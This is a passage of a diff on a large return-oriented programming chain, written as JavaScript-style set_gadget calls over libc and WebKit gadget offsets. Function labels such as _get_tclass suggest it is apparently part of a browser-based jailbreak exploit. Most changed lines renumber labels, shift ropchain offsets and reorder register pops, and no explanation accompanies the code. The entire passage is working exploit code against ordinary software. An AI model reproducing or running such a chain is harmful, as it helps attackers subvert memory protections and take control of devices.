0x0 set_gadget(libc_base+788575,); //pop rax -//L2604: +//L2587: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18137,17 +18070,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172440, //L2605 +ropchain+171976, //L2588 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172456, //L2606 +ropchain+171992, //L2589 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2605: +//L2588: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2606: +//L2589: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18157,32 +18090,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172568, //L2607 +ropchain+172104, //L2590 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172552, //L2608 +ropchain+172088, //L2591 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2608: +//L2591: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2607: +//L2590: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+172656, //L2610 +ropchain+172192, //L2593 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+172640, //L2609 +ropchain+172176, //L2592 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2609: +//L2592: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2610: +//L2593: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18192,17 +18125,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172752, //L2611 +ropchain+172288, //L2594 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172768, //L2612 +ropchain+172304, //L2595 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2611: +//L2594: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2612: +//L2595: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18212,17 +18145,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172880, //L2613 +ropchain+172416, //L2596 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172864, //L2614 +ropchain+172400, //L2597 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2614: +//L2597: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2613: +//L2596: db([0, 0]); // 0x0 //_get_tclass: set_gadget(libc_base+793877,); //pop rsi @@ -18230,50 +18163,50 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172952, //L2616 +ropchain+172488, //L2598 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2616: +//L2598: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+173016, //L2618 +ropchain+172552, //L2601 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2618: +//L2601: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2619: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2621: +//L2602: db([4, 0]); // 0x4 +set_gadget(libc_base+793877,); //pop rsi +//L2603: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+173160, //L2624 +ropchain+172680, //L2605 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2622: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2624: +//L2605: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2606: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -18284,14 +18217,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+173264, //L2626 +ropchain+172800, //L2609 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2625: +//L2608: db([4294967292, 4294967295]); // -0x4 set_gadget(libc_base+788575,); //pop rax -//L2626: +//L2609: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -18303,7 +18236,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2627: +//L2610: db([61, 0]); // 0x3d set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18312,7 +18245,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2628: +//L2611: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18320,77 +18253,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+173464, //L2631 +ropchain+172984, //L2612 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2629: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2631: +//L2612: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2613: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+173568, //L2634 +ropchain+173104, //L2617 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+173552, //L2633 +ropchain+173088, //L2615 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2633: +//L2615: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2634: +//L2617: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+173736, //L2637 +ropchain+173272, //L2620 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+173752, //L2638 +ropchain+173288, //L2621 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+173704, //L2635 +ropchain+173256, //L2618 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+173720, //L2636 +ropchain+173240, //L2619 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2635: +//L2619: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2636: +//L2618: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2637: +//L2620: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2638: +//L2621: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+173848, //L2640 +ropchain+173384, //L2623 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+173832, //L2639 +ropchain+173368, //L2622 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2639: +//L2622: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2640: +//L2623: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18398,8 +18331,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2642: -ropchain+173952, //L2641 +//L2625: +ropchain+173488, //L2624 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -18407,8 +18340,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+175944, //L2643 -//L2641: +ropchain+175480, //L2626 +//L2624: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -18416,238 +18349,238 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+174088, //L2645 +ropchain+173624, //L2628 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+174104, //L2646 +ropchain+173640, //L2629 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+174072, //L2644 +ropchain+173608, //L2627 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2644: +//L2627: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2645: +//L2628: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2646: +//L2629: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+174208, //L2649 +ropchain+173744, //L2632 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+174256, //L2651 +ropchain+173792, //L2634 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+174240, //L2650 +ropchain+173776, //L2633 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2649: +//L2632: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2648: +//L2631: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2650: +//L2633: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2651: +//L2634: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+174368, //L2652+8 +ropchain+173904, //L2635+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+174360, //L2652 +ropchain+173896, //L2635 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2652: +//L2635: db([0, 0]); // 0x0 set_gadgets([ -ropchain+174384, //L2652+24 -ropchain+174832, //L2647 +ropchain+173920, //L2635+24 +ropchain+174368, //L2630 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+174440, //L2654 +ropchain+173960, //L2636 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L2653: +//L2636: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2654: +set_gadget(libc_base+788575,); //pop rax +//L2637: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2655: +//L2638: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+174624, //L2658 +ropchain+174160, //L2641 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+174640, //L2659 +ropchain+174176, //L2642 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+174592, //L2656 +ropchain+174144, //L2639 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+174608, //L2657 +ropchain+174128, //L2640 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2656: +//L2640: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2657: +//L2639: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2658: +//L2641: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2659: +//L2642: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+174712, //L2660 +ropchain+174248, //L2643 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+174728, //L2661 +ropchain+174264, //L2644 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2660: +//L2643: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2661: +//L2644: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+174824, //L2663 +ropchain+174360, //L2646 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+174808, //L2662 +ropchain+174344, //L2645 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2662: +//L2645: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2663: +//L2646: db([0, 0]); // 0x0 -//L2647: +//L2630: set_gadgets([ libc_base+793877, //pop rsi -ropchain+174888, //L2666 +ropchain+174408, //L2647 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2664: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2666: +//L2647: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2648: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+174992, //L2669 +ropchain+174528, //L2652 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+174976, //L2668 +ropchain+174512, //L2650 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2668: +//L2650: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2669: +//L2652: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+175160, //L2672 +ropchain+174696, //L2655 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175176, //L2673 +ropchain+174712, //L2656 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+175128, //L2670 +ropchain+174680, //L2653 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+175144, //L2671 +ropchain+174664, //L2654 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2670: +//L2654: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2671: +//L2653: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2672: +//L2655: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2673: +//L2656: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+175248, //L2674 +ropchain+174784, //L2657 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175264, //L2675 +ropchain+174800, //L2658 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2674: +//L2657: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2675: +//L2658: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+175368, //L2676 +ropchain+174904, //L2659 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175400, //L2678 +ropchain+174936, //L2661 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+175384, //L2677 +ropchain+174920, //L2660 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2676: +//L2659: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2677: +//L2660: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2678: +//L2661: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18657,17 +18590,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+175496, //L2679 +ropchain+175032, //L2662 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175512, //L2680 +ropchain+175048, //L2663 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2679: +//L2662: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2680: +//L2663: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18677,32 +18610,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+175624, //L2681 +ropchain+175160, //L2664 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175608, //L2682 +ropchain+175144, //L2665 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2682: +//L2665: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2681: +//L2664: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+175712, //L2684 +ropchain+175248, //L2667 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+175696, //L2683 +ropchain+175232, //L2666 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2683: +//L2666: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2684: +//L2667: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18712,17 +18645,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+175808, //L2685 +ropchain+175344, //L2668 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175824, //L2686 +ropchain+175360, //L2669 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2685: +//L2668: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2686: +//L2669: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18732,19 +18665,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+175936, //L2687 +ropchain+175472, //L2670 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175920, //L2688 +ropchain+175456, //L2671 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2688: +//L2671: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2687: +//L2670: db([0, 0]); // 0x0 -//L2643: +//L2626: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -18960,11 +18893,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177264, //L2689 +ropchain+176800, //L2672 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2689: +//L2672: db([0, 0]); // 0x0 //_get_tclass_2: set_gadget(libc_base+793877,); //pop rsi @@ -18972,50 +18905,50 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+177336, //L2691 +ropchain+176872, //L2673 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2691: +//L2673: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177400, //L2693 +ropchain+176936, //L2676 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2693: +//L2676: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2694: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2696: +//L2677: db([4, 0]); // 0x4 +set_gadget(libc_base+793877,); //pop rsi +//L2678: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+177544, //L2699 +ropchain+177064, //L2680 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2697: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2699: +//L2680: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2681: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -19026,14 +18959,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+177648, //L2701 +ropchain+177184, //L2684 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2700: +//L2683: db([4294967292, 4294967295]); // -0x4 set_gadget(libc_base+788575,); //pop rax -//L2701: +//L2684: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -19045,7 +18978,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2702: +//L2685: db([61, 0]); // 0x3d set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19054,7 +18987,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2703: +//L2686: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19062,77 +18995,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+177848, //L2706 +ropchain+177368, //L2687 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2704: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2706: +//L2687: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2688: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+177952, //L2709 +ropchain+177488, //L2692 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177936, //L2708 +ropchain+177472, //L2690 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2708: +//L2690: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2709: +//L2692: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+178120, //L2712 +ropchain+177656, //L2695 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+178136, //L2713 +ropchain+177672, //L2696 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178088, //L2710 +ropchain+177640, //L2693 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+178104, //L2711 +ropchain+177624, //L2694 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2710: +//L2694: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2711: +//L2693: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2712: +//L2695: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2713: +//L2696: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+178232, //L2715 +ropchain+177768, //L2698 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+178216, //L2714 +ropchain+177752, //L2697 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2714: +//L2697: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2715: +//L2698: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19140,8 +19073,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2717: -ropchain+178336, //L2716 +//L2700: +ropchain+177872, //L2699 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -19149,8 +19082,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+180328, //L2718 -//L2716: +ropchain+179864, //L2701 +//L2699: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -19158,238 +19091,238 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+178472, //L2720 +ropchain+178008, //L2703 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+178488, //L2721 +ropchain+178024, //L2704 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178456, //L2719 +ropchain+177992, //L2702 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2719: +//L2702: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2720: +//L2703: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2721: +//L2704: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+178592, //L2724 +ropchain+178128, //L2707 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+178640, //L2726 +ropchain+178176, //L2709 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+178624, //L2725 +ropchain+178160, //L2708 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2724: +//L2707: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2723: +//L2706: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2725: +//L2708: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2726: +//L2709: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+178752, //L2727+8 +ropchain+178288, //L2710+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+178744, //L2727 +ropchain+178280, //L2710 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2727: 